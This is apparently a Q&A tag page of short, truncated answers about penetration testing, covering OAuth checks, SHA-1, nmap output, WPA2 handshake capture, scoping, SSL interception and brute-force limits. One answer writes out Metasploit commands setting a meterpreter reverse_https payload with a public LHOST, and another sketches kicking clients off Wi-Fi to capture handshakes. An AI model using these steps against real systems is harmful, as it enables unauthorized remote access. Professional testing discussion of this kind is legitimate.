Tag Info

New answers tagged

2

When acting as an authorization server (AS) that handles OAuth 2.0, i think two major security features of the library you should check are: Preventing access token leaking by restricting the redirect URL. In the implicit flow, the AS receives an authorization grant from a client it can not trust. In order not to give away access tokens to anybody, the ...


1

Regarding your specific questions around SHA1 and weak cipher suites: SHA1 is considered weak signing algorithm now. Great long run down can be read here. Basic googling can help beyond this: https://konklone.com/post/why-google-is-hurrying-the-web-to-kill-sha-1 *Nmap example does not confirm nor contain a certificate showing SHA1 weakness. Weak cipher ...


2

There are multiple pieces of information in this output which could be of use to a security/penetration tester. Version of Apache used and the Operating system involved. This version of Apache has a number of known security issues, so as a tester you could research those to understand whether they are exploitable. The two robots.txt entries (/internal/ ...


2

Practically speaking, no. In order to break a WPA2-Personal network you need to capture a four way handshake. There are basically two methods to do this. In one case you simply eavesdrop while others connect, and when that connection is established the four way handshake occurs. The other option is to kick a client off of the network and again, capture the ...


0

Although another malware infected machine on your network that is being RAT'd by an attacker can not "just RAT you", it can still attempt to zero-day your machine to install the same malware to accomplish the RAT task. Zeus/SpyEye/Citadel etc malware and the like generally have proxy(SOCKS4-5)/RAT/ftp-backconnect capabilities as a standard, and they can ...


0

OWASP Testing guide is your friend. In case a checklist is enough you might go through The OWASP Application Security Verification Standard


2

Exploiting missing Windows patches are actually not very often needed during a pentest. You can very easily take over a corporate domain using just the below: Default Credentials - Applications and services running with elevated privileges, with default credentials (or none at all!). e.g. MS Sql, Tomcat, JBoss... Misconfigurations - Application logic ...


2

whilst obviously automatic updates will have an impact in reducing the window of vulnerability for OS level bugs in Windows 10, I'd say that realistically the OS itself is less often the target these days for client-side attacks, so the impact will be limited. Usually for client-side attacks, the vector will either be social engineering (e.g. "hey you have ...


0

How about this article? http://blog.prowling.nu/2012/04/detecting-dionaea-honeypot-using-nmap.html Three different scripts has been "developed" to target the following Dionaea services: SMB SSL (used by HTTPS and SIP-TLS) MySQL There are most likely (judging by the Dionaea code) more ways to do a positive identification of the system so ...


0

I'd add my opinion on this. Let's say you have an application to test (I am not including thick clients here as it's pure web application). The conditions on which the estimation might rely are: Considerable Items Number of URL's which could be fetched via Burp's Spider Number of Parameters which could be fetched via Burp's Engagement tools Number of ...


2

You cannot provide proof that it will take n days for the vulnerability assessment. You can provide them with an estimation. When I scope an application for testing, there are a few things I look at. Most of it is what you've already covered. What the application does (process money or HR data, or serve a blog) How large the application is (a few ...


3

Generally speaking anything which sends traffic directly to a company's site is considered active rather than passive. Now most organisations will realise that traffic to a public facing site is fine and not an attack (as long as it's not excessive enough to cause a Denial of Service) but it is a legal grey area as, for example, a spider could hit content ...


1

The best solution is when ettercap does not MiTM the SSL connection, just forwards it to Burp, and Burp can be set up as a transparent SSL MiTM proxy. In this case, the client will see Burp's server certificate, which has to be trusted by the client. As you can see on the following, only 2 SSL connection is set up. SSL1 SSL2 Client ...


0

I've been doing some research on mitigating brute force attacks and came across this post. I recently implemented the following approach: In a 24 hour period: On 20 or more failed authentication attempts for a single IP address we require captcha for each subsequent attempt. At 100 failed attempts, we blackhole requests, but give no indication that the ...


-1

You can use meterpreter/reverse_https and set LHOST to your public ip. Make sure you forward port 443 to the machine hosting metasploit. set payload windows/meterpreter/reverse_https set LPORT 443 set LHOST YOUR PUBLIC IP "Since our attacker host is behind NAT, we have to use the public IP address of the router/firewall as LHOST. When the exploit ...


2

Based on the MSRPC DCE-RPC IFIDs from the first command output you posted, the target appears potentially vulnerable to MS00-070, CVE-2000-0544, CVE-2001-0662, CVE-2002-1561, CVE-2003-0533, CVE-2003-0818, CVE-2004-0894, CVE-2005-1984 (Nessus 19406 and 19407 as well as CANVAS ms05_043 and CORE IMPACT MSRPC SPOOLSS Buffer Overflow), CVE-2005-2119, ...


1

I assume right now your site is serving only http. The simplest way is you can install the cert and configure your web server to serve both http and https. All existing traffic will continue to use http, but you as the tester can use https. Once you've confirmed it's working, then you can configure your site to use only https. Warning: if you are serving ...


4

One way to do it is to spoof your DNS request on the computer you are testing from. Each web-browser asks for domain name resolution when trying to access prod.example.com. On Linux you can specifically match prod.example.com to your staging computer IP address in the /etc/hosts file. On Windows, you should look for the same file but in ...


1

Real penetration testers should not be using their own office bandwidth. If you attempt to access a system from a registered IP address, it's not that difficult to reverse look-up to be able to see where the traffic is coming from. If this is a red team / blue team scenario, then the internal staff already know who the attacker is, and may adjust their ...


0

In most cases the company that is performing a penetration test for a client faces little risk. If the client is actively compromised by some nasty attackers, or really nasty malware - it is possible that threat may make its way into the service provider's (Company "A") machines while the test is being conducted. In addition one would at least hope that ...


1

I've indeed crossed this advice in a few other books as well, but this was more a legal than a technical advice. If you are using a personal internet access (enterprise offers are less likely to be shut down by the ISP), and / or if you did not take the proper legal measure around your penetration testing activity (proper contract signed, every involved ...


1

most ISPs will have some security measures to protect their own infrastructure(mostly OSI L3, L2 devices and DNS stuff) so, if your pen testing involves these above infrastructure, there is a good chance that the ISP will notice it. The best workaround is the one by @schroeder♦ - use a VPN.


3

First of all, there is a difference between performing a penetration test and an automated scan (low hanging fruits) where automated scans generate a lot of traffic. Then there is a difference between infrastructure and (web) application penetration tests and then it depends on the type of test: Black Box Grey Box White Box Infrastructure Penetration ...



Top 50 recent answers are included